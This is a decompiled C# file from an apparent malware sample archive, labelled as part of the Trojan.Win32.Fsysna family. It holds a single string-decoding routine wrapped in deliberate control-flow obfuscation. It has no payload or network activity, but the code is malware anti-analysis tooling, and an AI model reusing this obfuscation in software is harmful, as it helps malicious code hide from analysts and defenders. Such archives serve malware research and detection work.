MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5/xb9d8bb5e6df032aa/x1110bdd110cdcea4.cs
2022-08-18 06:28:56 -05:00

86 lines
2.5 KiB
C#

// Decompiled with JetBrains decompiler
// Type: xb9d8bb5e6df032aa.x1110bdd110cdcea4
// Assembly: WindowsApplication5, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 5A2C317D-8013-4261-BC81-62C2E42A4E7A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5.exe
namespace xb9d8bb5e6df032aa
{
public class x1110bdd110cdcea4
{
public static string _d574bb1a8f3e9cbc(string x5e99b576d2530d13, int x2710752c36f2d14b)
{
ushort num1 = (ushort) x2710752c36f2d14b;
char[] chArray;
if ((x2710752c36f2d14b & 0) == 0)
{
label_8:
chArray = new char[x5e99b576d2530d13.Length / 4];
label_2:
int index = 0;
bool flag = (uint) index + (uint) num1 > uint.MaxValue;
ushort num2;
if (!flag || ((int) num2 | -1) != 0)
goto label_10;
label_3:
if (!flag)
{
if ((index & 0) == 0)
goto label_10;
}
else
goto label_8;
label_5:
if ((uint) num2 - (uint) num2 >= 0U)
goto label_15;
label_6:
if ((uint) x2710752c36f2d14b + (uint) x2710752c36f2d14b >= 0U)
{
flag = (uint) x2710752c36f2d14b - (uint) x2710752c36f2d14b > uint.MaxValue;
goto label_3;
}
else
goto label_16;
label_10:
if (index < x5e99b576d2530d13.Length / 4)
{
if ((index | 4) != 0)
{
do
{
num2 = (ushort) ((uint) (ushort) ((int) x5e99b576d2530d13[4 * index] - 97 + ((int) x5e99b576d2530d13[4 * index + 1] - 97 << 4) + ((int) x5e99b576d2530d13[4 * index + 2] - 97 << 8) + ((int) x5e99b576d2530d13[4 * index + 3] - 97 << 12)) - (uint) num1);
chArray[index] = (char) num2;
num1 += (ushort) 1789;
++index;
}
while ((uint) flag + (uint) num2 > uint.MaxValue);
goto label_6;
}
}
else
goto label_13;
label_12:
if ((uint) num1 + (uint) flag >= 0U && !flag)
{
if ((uint) flag <= uint.MaxValue)
goto label_5;
else
goto label_2;
}
else
goto label_8;
label_13:
if (true)
{
flag = ((int) num2 | 15) == 0;
goto label_12;
}
}
label_15:
string str = new string(chArray);
label_16:
return str;
}
}
}